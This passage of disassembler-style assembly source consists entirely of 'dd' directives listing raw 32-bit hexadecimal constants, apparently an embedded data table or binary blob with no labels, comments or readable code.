		dd 52C7DB22h, 6D2B1160h, 0ADF8030Ch, 0BC91AB26h, 927258C8h
		dd 48E0B200h, 56E4611h,	0B9EE00B3h, 973B8A02h, 890EB706h
		dd 0CF8D72F7h, 316B0096h, 0E27391Fh, 0A2F31887h, 95B82220h
		dd 7000E0AAh, 0AD82753Eh, 80F5B2h, 6FB3E619h, 6EEF5BB7h
		dd 0E3A06DF4h, 0F70E03B4h, 84DE8355h, 0E4C18216h, 424D676h
		dd 0F471262Eh, 90924F54h, 51993818h, 0CAFD9801h, 8B0E169Fh
		dd 0FA2AEC28h, 301EF824h, 0B4181FD3h, 8126A490h, 124034F8h
		dd 128A18F5h, 81AA62E8h, 62E22378h, 0F0D0014h, 28DE6B4h
		dd 0CCC9021h, 93A49E5Ah, 0E4ACA28h, 6423042Eh, 0B047770Ch
		dd 6E51403Fh, 0D444F44Bh, 7CF41CDCh, 7A0A06ACh,	4167F0B4h
		dd 83D08848h, 804334EFh, 0B016EB5Eh, 4BC6072Bh,	60A01FF2h
		dd 0A2A76EF6h, 10176227h, 406BCB94h, 121A77CAh,	9DF07C3Ah
		dd 808B11CCh, 0B25A75BCh, 0DC89187Eh, 9CA9A16Bh, 403E39h
		dd 0CC151471h, 4EF31A45h, 89D00B1Bh, 0C290D093h, 0A00027F0h
		dd 31E6B8D9h, 14CEB1h, 0AA2C82FEh, 48EB936Fh, 3C5180A2h
		dd 540416A5h, 38FCD8ABh, 10CCC6FFh, 20BA5F16h, 0F27975DCh
		dd 67DCBF00h, 3BBE4641h, 0DFF72965h, 1BEE00CCh,	0ECE69EC5h
		dd 0EB03138h, 0E04E36BCh, 1F5BE5D2h, 0E2F4F9DBh, 0CF0E27FEh
		dd 63010C01h, 0B59C4859h, 28ABE624h, 0C813AE09h, 34A664h
		dd 0F20F2030h, 566C1402h, 0A89A11F6h, 925CF44Ch, 0BAE0B8DDh
		dd 40C1DC72h, 39D2DBE4h, 0D1012A97h, 0A4FE87FFh, 0CB20262Bh
		dd 5E73178Ah, 88548B25h, 460C0B2h, 88091C3Ch, 9AEFDE68h
		dd 110C9DE0h, 4C98096h,	27E010D1h, 2802FF1Eh, 7480F16Eh
		dd 5B2B3E58h, 0F90418C0h, 0A4DC74AEh, 2EBF00C4h, 2DFEF6D7h
		dd 7A7FF793h, 45813200h, 0BDB43AE9h, 14A42D54h,	0A244D805h
		dd 3059F268h, 0CC00C7B4h, 2ADE585Fh, 0A9F59249h, 0E8635ED8h
		dd 530C6A2h, 92500B0Ah,	7C0EC7B0h, 7BAF0053h, 7EDA12B4h
		dd 840BB490h, 683F7B6h,	0B9177B9h, 680E546Dh, 0FCA00C12h
		dd 7BBE3F01h, 144B8A26h, 17551F08h, 238C3A04h, 0F4C70059h
		dd 0A71A3EEAh, 5E092901h, 727E5A71h, 34637835h,	293075A2h
		dd 0FECD139Fh, 51B40EB2h, 0CB0BA1E4h, 0C05BC888h, 6172CCBEh
		dd 0EF372505h, 1004FBB4h, 0ACFD1662h, 5C20BB27h, 0BC9DF398h
		dd 0AB55FD00h, 682E1EBAh, 0B23E046Bh, 0AC8717B6h, 9BF68420h
		dd 0C803DC05h, 2AF96E7Ch, 0C2A7A840h, 0C25EE7FFh, 797D3829h
		dd 4707853h, 0D5623868h, 546AEF1Ch, 0BC25B071h,	0B8595848h
		dd 2F30407h, 0F0075F2h,	154A9011h, 0C01E725Bh, 0CA501980h
		dd 0F8962CFFh, 30216458h, 0B9685450h, 1004C6ABh, 0BDCB1790h
		dd 359A2480h, 0D096FEh,	6305460Eh, 427C706Ch, 19D683EEh
		dd 41B33448h, 5271F6B5h, 34450B8Ch, 0D96355E4h,	0A7D23DB0h
		dd 0AA4AE817h, 71F4D880h, 443496F6h, 39EF3201h,	8C6D89h
		dd 3A6ED328h, 5CFD3D72h, 0DF25F434h, 0D24EC0A0h, 5B2665EEh
		dd 6811E433h, 15E7A16h,	0FAEF27D8h, 93A4286Eh, 49C810CAh
		dd 3D07E9C0h, 0DFEE114Bh, 0E8850763h, 0C8C0CB6Fh, 0F99AA3h
		dd 0E1924C8Dh, 78C32D40h, 190E5A0Ah, 6E0AC424h,	1C907CF2h
		dd 6AD9481h, 0ACC440B3h, 50A55B74h, 1A604D64h, 0C31C0AFDh
		dd 0E541234Bh, 0B6D5973Dh, 0A209686Ch, 491FFB5h, 22BED562h
		dd 7422A4h, 0FDFBA5AEh,	0A21C8689h, 7A1F9801h, 5A32ABC1h
		dd 0B28EC60h, 0EA185AAh, 63601CEDh, 7C6094Ch, 1B20DACBh
		dd 7879290Bh, 72253C00h, 1CE5E27Ch, 40B84490h, 0C10A1169h
		dd 0E600B32Ah, 662906A5h, 1D5DD2FBh, 26637BAEh,	38E35808h
		dd 0F3703607h, 91202F69h, 1DB92527h, 9401FE41h,	0CC82E0D8h
		dd 96C07B26h, 53C8F3Eh,	0C52E803Ah, 37B74B89h, 0F5022C87h
		dd 0EC11100h, 0E06401DBh, 2E9ACC81h, 0F0730044h, 29705834h
		dd 45EDE80h, 110C9C44h,	6B2A98E5h, 0C1B917F8h, 85145215h
		dd 68C0F8C6h, 97187616h, 7305DC01h, 26FC69E5h, 604030BBh
		dd 247EE209h, 1D7CEF56h, 48542C71h, 0AD606FBCh,	2B2DE8EDh
		dd 8033793Bh, 0D6449F39h, 166EF045h, 8116EAE1h,	61E05B74h
		dd 242F2A64h, 0EE005923h, 3A4C29BCh, 6DC4127Eh,	458A350h
		dd 0DA6FF093h, 0ECA41016h, 57EC8B0h, 0F6058075h, 9870FA94h
		dd 31DCEAC0h, 9B1A3BF3h, 90D48F4Eh, 2F1DC050h, 727167h
		dd 0F7A03237h, 8B0E5CF8h, 2E0DD48h, 820FEBADh, 0C8F2DCh
		dd 0D8935247h, 95C1D0DAh, 7F043300h, 96762C53h,	48C1C8A7h
		dd 0FCEAE280h, 8F66B9h,	0F24269BEh, 6B82A10Dh, 61DFD400h
		dd 0FA7335A0h, 0E8775299h, 0FD27D702h, 14E0189Fh, 0A122F6Bh
		dd 0CCF3C146h, 0AC23721Dh, 0E4E20970h, 40551006h, 0C612EE09h
		dd 0A6BC804Fh, 12AC6DA4h, 80767B3Fh, 0EB657358h, 4F02A5Ch
		dd 2530FB67h, 6022AC82h, 807A685Ch, 45187331h, 1489CFAh
		dd 906C7FE4h, 828B7B08h, 449FD804h, 98B225B5h, 0EB660E03h
		dd 580638B8h, 972E5AE9h, 301B7C48h, 0DDC0CB9Bh,	9361666Ah
		dd 3FC3FB18h, 0EDF200DAh, 0F62A6E87h, 1095880Fh, 8954E4h
		dd 0EA748CC5h, 4A659596h, 9ED18100h, 80E0FAABh,	2FD65E9Fh
		dd 18C92314h, 3E489A32h, 94516902h, 708B92D5h, 0B51D4444h
		dd 0E95DF332h, 7CEC6488h, 6C260056h, 0A932F479h, 28B8BC5Ah
		dd 67944494h, 108B96ECh, 0C3C78CC8h, 0F757F840h, 4EFF7327h
		dd 2E6C00AAh, 507AB6BFh, 0F507DF02h, 50831E58h,	0D81F4DACh
		dd 0B458F5BCh, 7A2C0032h, 0BA26EFD0h, 82B89C78h, 0CC9FE09Bh
		dd 12ABD481h, 29747802h, 0BFD97083h, 20029E18h,	0DBD1EFF3h
		dd 46F4F086h, 0E5C90232h, 1CCB1619h, 0E5F0D001h, 9F0FFF24h
		dd 0B2939ED4h, 5AA325ACh, 40116C17h, 2FD93D80h,	450781FAh
		dd 8FEE4855h, 50AE6232h, 0C1901E4h, 0D8FFDB56h,	2EDC1170h
		dd 90E2A260h, 0F1FA29A0h, 0E1603FCh, 1804046Ch,	1B54F7F0h
		dd 6E7030ACh, 470141E8h, 7C5B406Fh, 8C4DB8ACh, 30D4200h
		dd 21636C9Eh, 71311358h, 39FC2CEAh, 7A42000h, 56BB5725h
		dd 30360090h, 0CA05A8C5h, 8270BEBDh, 0C128C758h, 1879D04Bh
		dd 4B421C20h, 24E882D2h, 255EB8E6h, 5D00A7ACh, 0DD0A55D8h
		dd 0F5097812h, 0C8BB9497h, 746CF60h, 2C3D577Eh,	4375F07Bh
		dd 0CD05169Ah, 0BDE0DECCh, 71273DC0h, 0B99060F6h, 88D018F5h
		dd 7E8028BEh, 7C23573Dh, 82350919h, 0D4F2BA0Bh,	0BE64830Eh
		dd 960360B9h, 133A4562h, 182EDF8h, 51A41A48h, 0ACC6FADCh
		dd 0B02ECD12h, 0DF3140Fh, 6021196Bh, 7EF5AF0h, 7E89EB5h
		dd 89EE1516h, 742F2AF0h, 35004F23h, 54977751h, 0F03E58ACh
		dd 69EC7022h, 679D4h, 6E4A323Bh, 73A31C3h, 0F7F366CFh
		dd 1800B9EEh, 8DFDAF0Fh, 2268F05Ch, 3DC70E65h, 6A4F6C21h
		dd 0FAF746FCh, 0C09D896h
		dd 701BCB18h, 4CB0A0h, 0F50DA727h, 0B8A1B502h, 0F7BA2313h
		dd 131C1CF4h, 0E027E31Ah, 12144980h, 0F8989Eh, 1FBA223Ch
		dd 38140547h, 3A815758h, 0F1044328h, 2E34C4E3h,	0DF5151B0h
		dd 80ED2068h, 0AA2CD500h, 70815B4Ch, 0C7AE0D67h, 4270894Eh
		dd 0CC3031F4h, 161817E5h, 9C8BC3h, 88E5F7EFh, 4A16FDF8h
		dd 6E3088C5h, 7382A900h, 12EFF6EAh, 0C0809D22h,	0B0D3C89Bh
		dd 0FB8E40BCh, 10972CF3h, 0CE6218E9h, 0E6BBE096h, 5F4BC492h
		dd 0E401146Bh, 0E543DB7Ch, 982883FDh, 2918A08h,	0D3020AB9h
		dd 88C35FC7h, 9AC6A013h, 0C5F4CCA5h, 0E619C4AAh, 18472248h
		dd 2784771Ah, 2C97FCDBh, 6708E826h, 31FC13E1h, 0ED900A48h
		dd 3AC63B1h, 7AB24985h,	3643888Eh, 1373003Fh, 778F7662h
		dd 55276526h, 0C414E508h, 17EA6058h, 0FF450051h, 0FC5FA24Dh
		dd 0BE2EE2E7h, 0B5C76C87h, 0DD049C9h, 98EC90F6h, 0ECD10054h
		dd 2F1BF85Eh, 1313BB5Fh, 0D882C90Fh, 1A08008Bh,	0C749F3C3h
		dd 344C7574h, 70A18160h, 0AC504E62h, 59B625ABh,	0C3BC5493h
		dd 91712227h, 2461AB1Ch, 0B0FA7AC4h, 0D3B6515Ch, 41E0C68h
		dd 269C5111h, 0C900331Bh, 65BAB5A7h, 0EF0C06ACh, 987A8A42h
		dd 0F5E00317h, 5A007852h, 0F4739D2Bh, 6DBD0018h, 89249CE2h
		dd 0A4098F3Ch, 0F390D26h, 80C0AEE5h, 572AB584h,	66DC2637h
		dd 0E7FA4070h, 2E809F6Eh, 5E6C0059h, 0A9EFFB47h, 3600ED71h
		dd 28E8BDF1h, 0F839F3F0h, 291AEC50h, 80C0BA94h,	5F89C651h
		dd 8830F143h, 4C26F9DAh, 0FB0F01E5h, 60EC4197h,	4AA8EF56h
		dd 0D0C04432h, 958325F2h, 732716ABh, 6D9D0146h,	24CB0FDFh
		dd 63193738h, 0F3698D13h, 99C19F4h, 0B404CA98h,	21BCF180h
		dd 61001B56h, 0E53F6350h, 0EBB71F2h, 74558160h,	0FD4CA2E1h
		dd 0CDC1C872h, 28790402h, 606E531Bh, 6005ADC0h,	83718A4h
		dd 0B2806A7Eh, 248B009Dh, 899EF806h, 0DC009FEBh, 0E3687A0Fh
		dd 3A7527CBh, 600C6CAh,	4BBDCEB4h, 2F01B7B5h, 5FCB479Fh
		dd 21DCF5EEh, 44BA07AFh, 4026A66Bh, 0C91525BDh,	80F85700h
		dd 90DF634Ch, 6C8A481Dh, 0DDC82Eh, 72516170h, 4B006493h
		dd 409E8E2Ah, 0C0C6B209h, 14D2E568h, 4400EAF6h,	51E724E9h
		dd 0E84F922h, 31A6948Ah, 7B77C3C1h, 0B5D88023h,	0D92789BEh
		dd 88E93DF4h, 5CE6AF80h, 8758C8D7h, 218F274h, 2D10D428h
		dd 8B048C23h, 3E3AAA39h, 54F29040h, 62809E2Ah, 0E9B42B48h
		dd 0EC890304h, 0E1E1E8FAh, 0ACC307E3h, 457DE039h, 38FC0024h
		dd 45BB120h, 0B530883Dh, 76464143h, 8FC300DDh, 5010A493h
		dd 0EF0A63BDh, 30E3DBE4h, 0B7CE5706h, 78141E71h, 8DE80160h
		dd 0E42F10A8h, 0B40C556Fh, 594E9653h, 29D20028h, 0C740C107h
		dd 0F03AC96Eh, 215030CCh, 3292C8Ah, 0A7AE3291h,	4E17EDECh
		dd 510C9BC1h, 307863h, 7D6CD99Ah, 6BEECC3Ah, 614A5500h
		dd 85183FE6h, 0F9D5012Fh, 0C65705A6h, 0E5A180B1h, 14697165h
		dd 0E4ED07A4h, 70EE6882h, 0E6ADBE52h, 0D75095F2h, 4E18F344h
		dd 18706E6Bh, 0A8A49Dh,	9665B53Dh, 0D4798A64h, 0DECF9E24h
		dd 5CA70Bh, 8D50EDDDh, 0FC0607ADh, 7EF2A588h, 7BC6CCC0h
		dd 0E70D1E1Ch, 512A1BFBh, 50D8E400h, 5A0B01BAh,	974796DEh
		dd 92B810ECh, 0CAF200C2h, 43682E71h, 0FA0C4524h, 0A95E1E95h
		dd 0ECF955E1h, 6C5AE140h, 17321FC7h, 14494420h,	5AC1AEC9h
		dd 29803B3Ah, 0D5E56BC8h, 2F05027Eh, 8AC0B466h,	2927D030h
		dd 38C11004h, 0B5BDC4CCh, 29218900h, 310070B6h,	0C765B2A5h
		dd 1D55E601h, 0C05DB0C8h, 0F1C228C9h, 0B519BE2Fh, 0FBA9CF9Ch
		dd 65957D10h, 6C01B675h, 67E53CA3h, 809E49C1h, 3024C534h
		dd 290406Dh, 0A92B7390h, 0ECD2FA0Ch, 0C14409E1h, 71982221h
		dd 0A03BCCC8h, 73FB58h,	7C7A1314h, 3B911B34h, 0CF926369h
		dd 895C069Ch, 4200E9F3h, 6B225606h, 3F8AE0Bh, 5545A91Ch
		dd 0A900E5E1h, 8BABD5CFh, 28BF7Dh, 0B316E761h, 2F52D246h
		dd 931BE012h, 13E54803h, 0A6910060h, 549FC9CEh,	21C25C35h
		dd 616697h, 3AC6421Fh, 0CAA0CB00h, 8293A7FAh, 0B970FCCh
		dd 0C021E0EDh, 2434B3BFh, 9E1FE614h, 8A4DC99h, 0F59C981h
		dd 32707B27h, 2D101DB0h, 0B4693024h, 0F015150h,	0E3BB0867h
		dd 188390ABh, 5F965D14h, 2DF5F900h, 0DFBCDA52h,	16DEEF7h
		dd 44FD7F76h, 0D414EADEh, 2B631BD7h, 80225ED1h,	1F94FCh
		dd 6933C688h, 0F3736431h, 9E8A7B12h, 26709077h,	1DDFACh
		dd 338AD752h, 0B6C4A07Fh, 0BA0A9902h, 419A3C01h, 5A0CDD40h
		dd 0D5019643h, 48C12229h, 0C04B0CC7h, 292FFB21h, 250C6AD7h
		dd 19448B30h, 0FFA902A1h, 28D9FA3Fh, 9EE798A0h,	0A0A6DE8Bh
		dd 0D50F0702h, 181B227Bh, 0AA806E68h, 0DC0F0056h, 0CD32C15Ah
		dd 0F11FED18h, 8848951Dh, 67A424B3h, 96C24002h,	0BC71D9A2h
		dd 0E068C51Eh, 0E56A4C01h, 0E0BD62B5h, 81EB9718h, 0DC078B25h
		dd 0C909BB9Ah, 0BD3216D0h, 0F5C24805h, 0E5461103h, 39006145h
		dd 0C90A169Fh, 6CE8ADh,	766F5A69h, 7DE9D0F0h, 7E74463Eh
		dd 98CE1C34h, 8A26A404h, 6892933h, 0CCCD5C1h, 238F8845h
		dd 93942900h, 0C7437C16h, 0B5BF36A6h, 0DD002002h, 565FA902h
		dd 0D5D8C2h, 88F648B7h,	971E1444h, 0A7381F00h, 0BF8EC732h
		dd 41A0E8D7h, 249EF9F7h, 700A248h, 87DD12CFh, 13993D64h
		dd 30149CD6h, 55CAD480h, 465B5300h, 3957CE24h, 15C07826h
		dd 0CC67E78Bh, 695AE900h, 685CD824h, 0C12414A4h, 4E024D78h
		dd 0A0E1D997h, 32ECBAB4h, 13C7FC8Dh, 1012F34h, 539316AEh
		dd 862E0h, 96A3C0D4h, 320DA779h, 0EA094F44h, 0D8F4F0A0h
		dd 0B2481EA3h, 78B60347h, 626973A4h, 1C3178DEh,	0F218EC48h
		dd 0D500609Ah, 98AD9EB5h, 75BC47Ch, 93141907h, 40E5678Dh
		dd 0B1F21A17h, 4C859E24h, 0D30F05C0h, 2432217Bh, 0A4611D98h
		dd 0CE0F125Ch, 21CC2018h, 0B3005953h, 67EE8098h, 29589485h
		dd 0F704E93h, 7944A32Bh, 0F38AFh, 1810A3C3h, 0D00CE321h
		dd 18E33898h, 260F0A04h, 454C5A7Bh, 5FF0409Ah, 0EBC10F50h
		dd 14CB6A1Ch, 8FC69240h, 62CFF3BFh, 6CE569FCh, 0C2029064h
		dd 0F0465A6Eh, 374C6DDh, 4F879E58h, 0A3E84136h,	0FF050A57h
		dd 5F97DE5Eh, 0C05DDC08h, 7994A336h, 226C28D1h,	0CE0E06E0h
		dd 319774A3h, 946B400h,	3992105Fh, 2A380090h, 3C66550h
		dd 5B60BA80h, 14E54F90h, 6B54A128h, 115CE4h, 0C3307927h
		dd 0AB92B0B2h, 9CBC5658h, 0D1800062h, 0EEEBC618h, 1B07937Ch
		dd 6035FEA1h, 1F2F6430h, 0E09713E2h, 0D0C85992h, 4011850h
		dd 0DF7991A3h, 12F12C0Eh, 86CA3D9h, 5E809D9Ch, 0B6A497A0h
		dd 39D8007Eh, 352B7405h, 0B801FBEFh, 806AE1B5h,	832A8E9h
		dd 14119701h, 32670AACh, 8AD910BCh, 59BC04D6h, 8B14C4C1h
		dd 268800BCh, 7921A229h, 3C8B221Bh, 0CA8CE500h,	0BFE7BCF6h
		dd 0B7903230h, 0F098AEF4h, 0A600A1CDh, 0FF35C338h, 7194A7F3h
		dd 0BD6A1A7Bh, 60479162h, 0C605644h, 701424Ch, 929364FCh
		dd 0D048F2D2h, 0D10C88FDh, 0B0DA7500h, 7BBC97F6h, 0D55F2C95h
		dd 809F91B0h, 7B290F5Bh, 10245802h, 0F5AB6B0h, 0E49E8100h
		dd 4227FE7Ch, 0BC164818h, 8CE6BCh, 42C576CCh, 0CE4FBFEAh
		dd 21FCE130h, 0E249081h, 0C67FFD06h, 767DE500h,	0B1E1191h
		dd 9907C7ABh, 0BF504489h, 0BB214808h, 73970198h, 1882A904h
		dd 9F23889Ah, 1EE7103h
		dd 0F51E28CDh, 5AC82859h, 0A31CDF18h, 0A90798Fh, 3B00E2DFh
		dd 0A9D2AB57h, 1E66A0Eh, 0F151DDF7h, 87566671h,	75C81371h
		dd 2B7AC70h, 0FB2B2ED1h, 914E00A3h, 697A145Ch, 0C0C7972Ah
		dd 46D48A00h, 0B80E6EEBh, 0C14E019Bh, 0EE3CC869h, 43062AFh
		dd 15AA92B4h, 2079D4A4h, 2114639Eh, 1F14C46Ah, 1D7E9335h
		dd 913069E5h, 0C9B6C857h, 646897E1h, 0C01DFFAFh, 5492DD40h
		dd 1172028h, 366B0A0Fh,	2DE3C4C1h, 0B8B90C78h, 688CCAAh
		dd 2BBF4527h, 62036901h, 3BB77447h, 0ABEFA86Dh,	0B4ED54AFh
		dd 79F86087h, 0F72FFD43h, 3E55B758h, 0CFAB0C3Ch, 929E1h
		dd 0EB633EC0h, 0BE61DA11h, 665E477h, 0DC33A6F0h, 4EABE1D9h
		dd 0E2CC23D0h, 13E8007Bh, 78D5FBE7h, 0D34879ECh, 9F99606Eh
		dd 2658CE3Fh, 7387B8Bh,	0C21E5A4Ch, 74E1262Dh, 8DAC4866h
		dd 4F65AD00h, 31ED8AACh, 0EEA70A24h, 828C2D3Ah,	54FA0479h
		dd 0C746D040h, 63074172h, 5C44D074h, 0ABF34980h, 0E9E80779h
		dd 43D41B26h, 64A015FEh, 0F51203EAh, 540ED35Eh,	0B1458044h
		dd 280EDDh, 0C62D2031h,	6AAE6DCEh, 63D6FC00h, 23ADDC65h
		dd 2EDE30E7h, 0D1D99410h, 2490EB48h, 0C3F046Ah,	90F049A8h
		dd 14B083h, 0FB709759h,	66743F62h, 0F5E37301h, 0DC04D638h
		dd 46B0C8C2h, 0E29200C6h, 8E57A65Ah, 3900304Eh,	0BCCD067Dh
		dd 52AB95EFh, 0B1728C46h, 2653012Ch, 800FD983h,	2045FC49h
		dd 3002BAh, 6BCD8066h, 9A4C0960h, 58412B01h, 0DF1775E1h
		dd 822A4087h, 0B026F3D7h, 8A60ECAFh, 0B3805096h, 0FB76AEE1h
		dd 4B3A056Ch, 42E7EDh, 5B288EB2h, 0EA6234F3h, 48541889h
		dd 234B3Ch, 3600F15h, 25D79A0Ch, 0AA145A00h, 56D1C2CBh
		dd 952C0041h, 354F01BCh, 5D008A44h, 0BAC979EFh,	5C57C34Eh
		dd 0DDC0D04Bh, 0AF4AEC1h, 6614E20Ch, 0E2C5199Ch, 1E5EF655h
		dd 98DB02h, 70C3FA7h, 0F100CD6Eh, 0C995FBE1h, 12F53EFh
		dd 1425A92Bh, 804AB5B3h, 4433A5E1h, 1E27C8h, 72A49F3Eh
		dd 824F226Dh, 57F6D900h, 6BA64AA2h, 2D6F22E5h, 0A1C90801h
		dd 4F699D09h, 0F9616DCh, 46B1EC6Ch, 11EF2006h, 715CC7FAh
		dd 87604CDEh, 43747BF3h, 93560080h, 1DEAE235h, 8527DDE0h
		dd 3A2DB8DFh, 8900BA04h, 3DEE9854h, 0E40BB5D2h,	0B4AEC2h
		dd 4C373265h, 6452009Fh, 8EA7A286h, 0DA01B799h,	6E221BEAh
		dd 0F3B916h, 40FE133Eh,	0EB50D84Eh, 2D2A8300h, 0D4F49B5h
		dd 79CD00A7h, 103FD087h, 37605208h, 0AF225B81h,	0DEFC001Ch
		dd 0BFE3C892h, 671C2FA2h, 37430688h, 3D2C0C82h,	0F3CDA8h
		dd 7A25B4E1h, 0EAF4CAEDh, 861DCC00h, 37A2B8E7h,	0E8AB31BFh
		dd 9135D838h, 490095C8h, 3F8CEE2Bh, 86154A8h, 0DBA35E80h
		dd 0F1D8450h, 0EAFC0393h, 6D44903Fh, 9D22390Ah,	0DB6088A9h
		dd 0D8E84Ah, 11F98DCCh,	25F1A2BBh, 27297600h, 0C3BA550Ah
		dd 0A8F3500Dh, 5D5900AFh, 0AB9AAED3h, 3F3B85A3h, 77BC8C76h
		dd 0FF72A8B7h, 0B0153C70h, 391E6171h, 8ADECE57h, 84E42CC0h
		dd 27C288h, 0EDBB9088h,	46001279h, 3211AA8Eh, 3B7D0B31h
		dd 3B807119h, 4B02B041h, 0DE006059h, 0DF792F72h, 7BAEF48h
		dd 7B27409Ah, 1F188CD9h, 0BE5F0905h, 207903B2h,	80A984E8h
		dd 473ADA78h, 0C1A0128h, 5005BD58h, 1FD606C4h, 17C5C4Eh
		dd 0FA2FE1Ch, 1ECFF80Bh, 0FDDAB302h, 1C284CF4h,	5B0881C4h
		dd 0A0801450h, 681A7514h, 45CA3Eh, 301E719h, 7AA66h, 5FD1464Ch
		dd 30D770CEh, 590AB7E4h, 347D583Ch, 0A1E80832h,	0DB866680h
		dd 0F8A0D01Ah, 162200A2h, 60B5B885h, 0CEC9263h,	95E56900h
		dd 0E593E7Eh, 0BA4D0189h, 91CA5D2Dh, 0B5F44134h, 0BDD8D407h
		dd 6C908FE2h, 3F20F3Ah,	89C02DB9h, 0F9291190h, 991F1109h
		dd 9F08FE21h, 287D9497h, 219C0611h, 8C4C08EAh, 8140194h
		dd 8BB1D45h, 0E094BA16h, 14A5283Ch, 5180E131h, 5910BF02h
		dd 0A9813268h, 0EDDCEF10h, 603FC300h, 0F19546B5h, 24B812h
		dd 7A5931DDh, 0D467D86Dh, 0E92B6500h, 0CF60CCE7h, 0F15F0084h
		dd 68D6AA18h, 0F31E1062h, 0BD00455Bh, 0B5BEDD93h, 15EA0Bh
		dd 9EF0668Eh, 0E2C45589h, 75B7E800h, 78B264EDh,	0CF510EFFh
		dd 0D0C03617h, 4E445939h, 0B3ECEB00h, 0E1A0AB02h, 0F18500BDh
		dd 0B12AED96h, 0CE0090FFh, 395C24D7h, 1C8EF89Ch, 2DC925h
		dd 915A116Dh, 67F28D10h, 0EFF0DA00h, 0B23192A8h, 6BA4000Bh
		dd 0B9996996h, 0F300B33Fh, 0DDDEB491h, 34A821h,	0F80E4352h
		dd 1B3EF64Eh, 572EC507h, 0EE20E293h, 360DE34h, 78C6DA83h
		dd 49005419h, 0B037055h, 4B0694h, 0B83B6373h, 0BF97FDB0h
		dd 0EDFCF3Ch, 20D2C603h, 2FB43D5Ch, 0E36200C7h,	5312C939h
		dd 0D5009323h, 890BCA04h, 679529h, 906C8171h, 0DEBEE182h
		dd 0F6396900h, 2038E235h, 0BF950074h, 0B4D1799Dh, 0B000D04Eh
		dd 41F6033Fh, 0B3D268h,	42322094h, 0C5E3CD86h, 45A7A3Ah
		dd 8429A8F8h, 8099ACC2h, 21833A8Eh, 6A42009Bh, 0AB39472Ch
		dd 30002062h, 4901D4CCh, 0A87CB5DCh, 405F568Ch,	0D3B63A34h
		dd 0E9FEF500h, 1DE0F9D2h, 0C0F81099h, 430DF116h, 82006A93h
		dd 5861E129h, 9BE84FDh,	9BBFAF27h, 967305h, 38427EA0h
		dd 0F30E9949h, 0E09C162Ch, 6B2F4F4Dh, 34A100BDh, 0EB9642E4h
		dd 35020B1Ah, 0FDEE67F5h, 15BE4159h, 801864h, 91E6549Bh
		dd 0DC12168Dh, 0C053CA00h, 2782D62Ah, 0C8EC633Ah, 0E6E0E573h
		dd 5D3E9DC2h, 0D98A81B9h, 5CDACBD1h, 7A8090BCh,	0B72F2656h
		dd 0C1001183h, 9EBAC7F9h, 72F5AEBDh, 6CCF0001h,	8547266Eh
		dd 0C165BCAh, 9C400224h, 48282B63h, 57371320h, 61A100A9h
		dd 0EE399904h, 27477803h, 6BF37Ch, 0A633AA90h, 0D1E04FE1h
		dd 31E7DF00h, 9FF0A938h, 0CC14003Fh, 18E252C0h,	0FA00435Dh
		dd 8553A6BAh, 9E863Bh, 7D7CDAEEh, 2D3C2002h, 520EA10Eh
		dd 531C20ECh, 0FD1886Bh, 5E7CB018h, 496D37A0h, 0AF185D11h
		dd 0D9181C15h, 0A27754h, 0C76E1C7h, 61CD3444h, 8ABE4F03h
		dd 8FD18F58h, 2191B740h, 0FB7000E0h, 69680CB1h,	7E1FD388h
		dd 0B4052DECh, 0A81F648Bh, 63F90F40h, 0A2FE2h, 18F712CEh
		dd 9D548728h, 0E553Eh, 0BF0D0CC0h, 657B8Ch, 8EBBC401h
		dd 2624D8CFh, 22003FFCh, 7FFD6620h, 0E9DFE3h, 0C60BF58Fh
		dd 0C27EDC31h, 28A653Eh, 6ADA9D9Ch, 0BA44E0B2h,	0EDF800A0h
		dd 3037914Fh, 9A004022h, 0E4D2BDE0h, 8C7341h, 949B094Eh
		dd 0CECB0629h, 1CA0BF3Bh, 64001B82h, 0C57A1025h, 4EF473h
		dd 0F44FC43h, 0B766CE32h, 34242F00h, 9106C371h,	0B39F0322h
		dd 45EDEEA1h, 0A99295D0h, 51F8FF00h, 698AB0E8h,	0B6F40041h
		dd 0E36AB72Eh, 7F013E57h, 7B6ED148h, 0EFC2611h,	0E4320066h
		dd 534BD5B4h, 9D0036B5h, 0D838FCC2h, 0DAF2B8h, 0BB041660h
		dd 302D1B2h, 819D3B39h,	2C724310h, 26E0FE88h, 0E3600EEh
		dd 0DE3BB13Ch, 107379ADh, 3F182000h, 0EE62643Eh, 0CE7400E7h
		dd 9F0BD87Eh, 0C300229Dh, 0BD798403h, 0F3215Ch,	399116BCh
		dd 52855F5Dh, 7BF2BBB8h, 0CB70C21Ch, 0A288017Eh, 327A8C9Dh
		dd 7B80F845h, 5AFE9A6h,	7756CD67h, 0D1F800C2h, 0C462423h
		dd 0EFE31600h, 762BB831h, 0FCC61419h, 2702E01Dh, 0B18FC040h
		dd 1CBFDA00h, 33EF00CDh, 0E7246DD5h, 0DD01C0BBh, 12A104C1h
		dd 85306C22h, 71470034h, 0C0DFAF68h, 20F4624Ah,	31050400h
		dd 9D3E19Ah
		dd 0E6A214B9h, 0AE04E041h, 292B54C6h, 5E005032h, 0B6122A45h
		dd 9600788Ah, 0A87B189Ch, 0FB755FDh, 0E3D8F3DBh, 0F84C0E96h
		dd 232177E0h, 91021B2Fh, 0C780E233h, 681C602Ah,	13F80066h
		dd 2BAE0A29h, 0C500E41Ah, 97AA3F63h, 7ED422h, 4C196F95h
		dd 3042A7DAh, 0A8177B0Eh, 0D3B540FBh, 60265F58h, 42638055h
		dd 2000251Bh, 17313810h, 7057B0B3h, 52180083h, 0C694EA14h
		dd 0D07FFBBEh, 88981A79h, 0C1AB3E00h, 0D9346A0Fh, 2B10266h
		dd 0A12A8156h, 5300A446h, 3D6F4970h, 0E07E341h,	5596085h
		dd 0BC32D6C3h, 0B76E3CF0h, 0C1DE5D00h, 51BEDCC7h, 1ADD2A56h
		dd 89A8019Ch, 1CEDB2FBh, 95BFC075h, 0A10CD52Eh,	346809h
		dd 0B185BE10h, 0EF4500D8h, 4F21B217h, 7100AFD5h, 0FB3FBBA8h
		dd 0FDA337Fh, 2D509857h, 4B475340h, 0CFF6343Ch,	686CA800h
		dd 0AF0AF7Bh, 4DD00071h, 95D51675h, 0B2011BC8h,	0BF2573DAh
		dd 0E8F3695Fh, 0E7F51Eh, 5E7A17CAh, 7EED6D4Fh, 0DAFFD2FAh
		dd 97F498C0h, 4AA27900h, 22F99F41h, 91E20082h, 62D5697Ah
		dd 0D7139E9Ch, 9A019A76h, 0CCF5A865h, 7A4E4B30h, 0C1EF00DEh
		dd 85F059FFh, 0CB1E3D39h, 8D00BFC0h, 0A04DC73Bh, 83358CFh
		dd 44E3E600h, 24840F58h, 1E074DB8h, 0F5E78BB5h,	453B4A70h
